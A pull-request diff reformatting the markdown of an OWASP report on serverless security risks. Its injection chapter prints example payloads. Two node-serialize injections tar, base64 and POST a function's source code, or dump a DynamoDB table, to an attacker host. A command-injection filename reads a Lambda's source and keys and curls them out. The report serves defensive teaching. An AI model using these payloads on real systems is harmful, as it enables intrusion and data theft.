Merge pull request #5 from Chan9390/format

Some markdown formatting

2018/en/0x00-header.md

@@ -1,11 +1,11 @@
 ![0x00-owasp](images/0x00-owasp.png)
 
-#           OWASP Top 10 (2017)
-##      Interpretation for Serverless
+# OWASP Top 10 (2017)
 
+## Interpretation for Serverless
 
 ---
 ![0x01-creativecommons](images/0x02-creativecommons.png)
 
-The ​ provisional ​ report is released under the Creative Commons Attribution-NonCommercial-NoDerivatives
+The provisional report is released under the Creative Commons Attribution-NonCommercial-NoDerivatives
 4.0 International (CC BY-NC-ND 4.0) [​license​](https://creativecommons.org/licenses/by-nc-nd/4.0/).

2018/en/0x00-toc.md

@@ -1,4 +1,4 @@
-## Table of Contents
+# Table of Contents
 
 [Release Notes](0x06-release-notes.md)
 
@@ -32,4 +32,4 @@
 
 [Future Work](0xad-future-work.md)
 
-[Acknowledgments](0xae-acknowledgements.md)
+[Acknowledgements](0xae-acknowledgements.md)

2018/en/0x05-introduction.md

@@ -1,10 +1,11 @@
 # Intro: Welcome to Serverless Security
-When adopting serverless technology, we eliminate the need to develop a server to manage our application. By doing so, we also pass some of the security threats to the infrastructure provider such as AWS, Azure or Google Cloud. In addition to the many advantages of serverless application development, such as cost and scalability, some security aspects are also handed to our service provider, which can usually be trusted. Serverless services, like ​[AWS Lambda](https://aws.amazon.com/lambda/]), ​ [Azure Functions](https://azure.microsoft.com/en-us/services/functions/), ​[Google Cloud Functions](https://cloud.google.com/functions/) and ​[IBM Cloud Functions​](https://console.bluemix.net/openwhisk/), execute code, without provisioning or managing servers, only when needed.
+
+When adopting serverless technology, we eliminate the need to develop a server to manage our application. By doing so, we also pass some of the security threats to the infrastructure provider such as AWS, Azure or Google Cloud. In addition to the many advantages of serverless application development, such as cost and scalability, some security aspects are also handed to our service provider, which can usually be trusted. Serverless services, like ​[AWS Lambda](https://aws.amazon.com/lambda/]), [Azure Functions](https://azure.microsoft.com/en-us/services/functions/), ​[Google Cloud Functions](https://cloud.google.com/functions/) and ​[IBM Cloud Functions​](https://console.bluemix.net/openwhisk/), execute code, without provisioning or managing servers, only when needed.
 
 However, even if these applications are running without a managed server, they still execute code. If this code is written in an insecure manner, the application can be vulnerable to traditional application-level attacks, like Cross-Site Scripting (XSS), Command/SQL Injection, Denial of Service (DoS), broken authentication and authorization and many more.
 
 Does that mean that serverless applications are vulnerable to the same attacks that we are used to in traditional applications? In most cases, yes, a variation of the original attack also exists in serverless architecture.
- 
+
 The ​[OWASP Top 10](https://www.owasp.org/index.php/Top_10-2017_Top_10) is the de-facto guide for security practitioners to understand the most common application attacks and risks. Its data spans vulnerabilities gathered from hundreds of organizations and over 100,000 real-world applications and APIs. The Top 10 items are selected and prioritized according to this data, in combination with consensus estimates of exploitability, detectability, and impact into providing The Ten Most Critical Web Application Security Risks.
 
-This report is a first glance to the serverless security world and will serve as a baseline to the official OWASP Top 10 in Serverless project. The report examines the differences in attack vectors, security weaknesses, and business impact of successful attacks on applications in the serverless world, and, most importantly, how to prevent them. As we will see, attack prevention is different from the traditional application world. Additional risks, which are not part of the original ​ OWASP Top 10​ , but might be relevant for the final version, are listed on the [Other Risks to Consider page](0x0ab-other-risks.md)​ .
+This report is a first glance to the serverless security world and will serve as a baseline to the official OWASP Top 10 in Serverless project. The report examines the differences in attack vectors, security weaknesses, and business impact of successful attacks on applications in the serverless world, and, most importantly, how to prevent them. As we will see, attack prevention is different from the traditional application world. Additional risks, which are not part of the original ​ OWASP Top 10​ , but might be relevant for the final version, are listed on the [Other Risks to Consider page](0xab-other-risks.md)​ .

2018/en/0x06-release-notes.md

@@ -1,8 +1,11 @@
 # Release Notes
+
 ## Important Notice
+
 This a ​**preliminary**​ report aiming at bringing a first look into the serverless security risks. This report should serve as a base report to the open-call, aiming at creating an official OWASP Serverless Top 10 report based on the industry knowledge and data in the wild.
 
 ## Report Structure
+
 Each of the original Top 10 risks is reviewed. The review lists six sections:
 
 A. New possible attack vectors when targeting serverless applications
@@ -18,16 +21,18 @@ E. Example scenario(s), demonstrating a possible vulnerability and exploit
 F. Taking into account the attack vectors, weaknesses and impact, as well as the ability to identify and mitigate it; is this security risk higher, lower or the same in serverless applications?
 
 ## Request for Comments
+
 - Related vulnerability data to support the project
 - Suggestions and votes of what should be listed in the final OWASP Serverless Top 10 project, including any suggested additions not currently on this list
 - Suggestion for “How to Prevent” sections
 - Any additional ​[internal](https://owasp.org)​ and external references that should be included
 
 ## Attributions
+
 Thanks to ​[Protego Labs](https://​protego.io) for sponsoring this report and for everyone else who contributed. Reviewers of this report are mentioned on the ​[Acknowledgements page​](0xae-acknowledgements.md).
 
 Organizations and individuals that will provide vulnerability prevalence data or other assistance will be listed on the acknowledgments page of the official project.
 
 ## Copyright and License
-![Creative Commons](images/0x02-creativecommons.png) This report is released under the Creative Commons Attribution-ShareAlike 4.0 (CC BY-NC-SA 4.0) International ​[License​](https://creativecommons.org/licenses/by-nc-sa/4.0/) (common to OWASP projects).
 
+![Creative Commons](images/0x02-creativecommons.png) This report is released under the Creative Commons Attribution-ShareAlike 4.0 (CC BY-NC-SA 4.0) International ​[License​](https://creativecommons.org/licenses/by-nc-sa/4.0/) (common to OWASP projects).

2018/en/0xa1-injection.md

@@ -1,19 +1,23 @@
 # A1:2017 Injection
 
 ## Attack Vectors
+
 Attack vectors for injections in traditional applications are usually referred to any location where the input to the application can be controlled or manipulated by the attacker. However, in serverless applications the attack surface increases.
 
 Since serverless functions can also be triggered from different events sources like cloud storage events (S3, Blob and other cloud storage), Stream data processing (e.g. AWS Kinesis), databases changes (e.g. DynamoDB, CosmosDB), code modifications (e.g. AWS CodeCommit) notifications (e.g. SMS, Emails, IoT) and more, we should no longer consider input coming directly from the API calls as the sole attack surface. 
 
 Moreover, we no longer have control of the line between the origin to the resource. If a function is triggered via email or a database, there is nowhere to put a Firewall or any other control that will validate the event.
 
 ## Security Weakness
-The traditional SQL/NoSQL Injection will be the same. OS Command Injection might not target the files in the container (e.g. /etc/host), but source code and other secrets could be found in the container. Code injection will allow an attacker to use the provider’s API to scan and interact with other services in the account.
+
+The traditional SQL/NoSQL Injection will be the same. OS Command Injection might not target the files in the container (e.g. `/etc/host`), but source code and other secrets could be found in the container. Code injection will allow an attacker to use the provider’s API to scan and interact with other services in the account.
 
 ## Impact
+
 The impact of a successful injection attack will lean on the permission the vulnerable function has. If the function has been assigned a role that grants it liberal access to a cloud storage, then injected code could delete data, upload corrupted data, etc. If the function has been granted access to a database table, it could delete records, insert records, etc. Roles that allow creating users and permissions can eventually lead into a cloud account takeover.
 
 ## How to Prevent
+
 - Never trust, pass or make any assumptions regarding input and its validity from any resource
 - Use a safe API, which avoids the use of the interpreter entirely or provides a parameterized interface, or migrate to use Object Relational Mapping Tools (ORMs)
 - Use positive or “whitelist” input validation when possible
@@ -24,44 +28,52 @@ The impact of a successful injection attack will lean on the permission the vuln
 - Use a commercial runtime defense solution to protect functions on execution time
 
 ## Example Attack Scenario I
-The following function code, repeatedly found in the wild, deserializes data using the eval() function:
+
+The following function code, repeatedly found in the wild, deserializes data using the `eval()` function:
 ![injection-1](images/0x01-injection-1.png)
 
 The untrusted input is sent from the trigger’s event to the unserialize function without any validation. By sending the following payload, attackers can steal the source code of the function, simply by creating a new child_proccess that will zip the source-code found in the current directory, wrapping it up with base64 and sending it to any server they have access to:
+
 >
     _$$ND_FUNC$$_function(){require("child_process").exec("tar -pcvzf /tmp/source.tar.gz ./;
     b=`base64 --wrap=0 /tmp/source.tar.gz`; curl -X POST https://serverless.fail/ --data
     $b",function(){});}()
 
 The attacker can now investigate the code and use it to create a more cloud-native attack. For example, using the provider’s API to read from the database:
+
 >
     _$$ND_FUNC$$_function(){var s=require("aws-sdk");var h=require("https"); var d=new
     s.DynamoDB.DocumentClient;d.scan({TableName:process.env.DYNAMODB_TABLE},function(e,a)
     {if(e);else{var t=Buffer.from(JSON.stringify(a)).toString();;var
     h.get(“https://serverless.fail?encodeURI(t)”),function(e){})}});}()
 
 ## Example Attack Scenario II
+
 A function is triggered from a storage file upload. The function then downloads the file and processes it.
 
 ![injection-2](images/0x01-injection-2.png)
 
-However, the the function is vulnerable to command injection, in case a downloaded file does not end with the required file extension (i.e. ​ .jpg ​ ).
+However, the the function is vulnerable to command injection, in case a downloaded file does not end with the required file extension (i.e. `.jpg`).
 
 To exploit that, an attacker uses the application legitimately, but uploads two files. One of them contains a command injection syntax in its name:
+
 >
     chip.gif c.jpg;cd ..; cd var;cd task;f=`head -50 lambda_function.py|base64 --wrap=0`;curl
     protego.ngrok.io?l="$f"
+
 ![injection-3](images/0x01-injection-3.png)
 
 To exploit this vulnerability, the attacker needed to:
 
 - Address an existing file (i.e. chip.gif, which he himself uploaded before)
-- Exit the /tmp folder
-- Enter the /var/task folder (Use of '/' in the object name is not allowed)
-- Read the first 50 lines of lambda_function.py and with it the hardcoded keys to the management AWS account
+- Exit the `/tmp` folder
+- Enter the `/var/task` folder (Use of `/` in the object name is not allowed)
+- Read the first 50 lines of `lambda_function.py` and with it the hardcoded keys to the management AWS account
 - Wrap the code in base64
 - Send it to a destination held by the attacker
 
 As a result of the Lambda execution, a request is sent to the attacker, containing the function’s code:
+
 ![injection-4](images/0x01-injection-4.png)
+
 ![injection-5](images/0x01-injection-5.png)

2018/en/0xa3-sensitive-data-disclosure.md

@@ -4,15 +4,15 @@
 
 Sensitive data exposure is as a concern in serverless architecture as in any other architecture. Most of the methods used in traditional architectures, such as stealing keys, performing man-in-the-middle (MitM) attacks and stealing readable data at rest or in transit, still apply to serverless applications. However, the data sources might be different. Instead of stealing data from a server, the attacker can target cloud storage (e.g. S3, Blob) and database tables (e.g. DynamoDB, CosmosDB).
 
-Additionally, leaked keys can lead into unauthenticated and unauthorized actions in the account. There are tools that look for leaked keys in GitHub like KeyNuker, Truffle Hog or even git-secrets by AWS Labs. Moreover, the environment on which the functions run is read-only except to the /tmp directory. Attackers can target this folder to look for leftovers from previous executions (refer to: [Insecure Shared Space]()).
+Additionally, leaked keys can lead into unauthenticated and unauthorized actions in the account. There are tools that look for leaked keys in GitHub like KeyNuker, Truffle Hog or even git-secrets by AWS Labs. Moreover, the environment on which the functions run is read-only except to the `/tmp` directory. Attackers can target this folder to look for leftovers from previous executions (refer to: [Insecure Shared Space](0xab-other-risks.md#x-insecure-shared-space)).
 
 Passwords, application logs, hosts, and other files that the attacker used to target belong to the infrastructure now and are less of a concern. On the other hand, you can find the source code of the function as well as the environment variables.
 
 ## Security Weakness
 
 Storing sensitive data in plaintext or even using weak cryptography on any storage is extremely common and will likely continue in serverless applications.
 
-In addition, writing data to the /tmp directory without deleting it after use, based on the assumption that the container will die after the execution, could lead into sensitive data leakage in case the attacker gains access to the environment.
+In addition, writing data to the `/tmp` directory without deleting it after use, based on the assumption that the container will die after the execution, could lead into sensitive data leakage in case the attacker gains access to the environment.
 
 ## Impact
 

2018/en/0xa6-security-misconfiguration.md

@@ -10,7 +10,7 @@ Serverless reduces the need to to patch the environment, since we do not control
 
 Additionally, functions with long timeout configuration give an attacker the opportunity to make their exploit last longer or just cause an increased charge for the function execution.
 
-Moreover, functions with low concurrency limit could lead into a DoS attack, while functions with high concurrency limit could result in a Denial of Wallet (see [Other Risks]() section)
+Moreover, functions with low concurrency limit could lead into a DoS attack, while functions with high concurrency limit could result in a Denial of Wallet (see [Other Risks](0xab-other-risks.md) section)
 
 ## Impact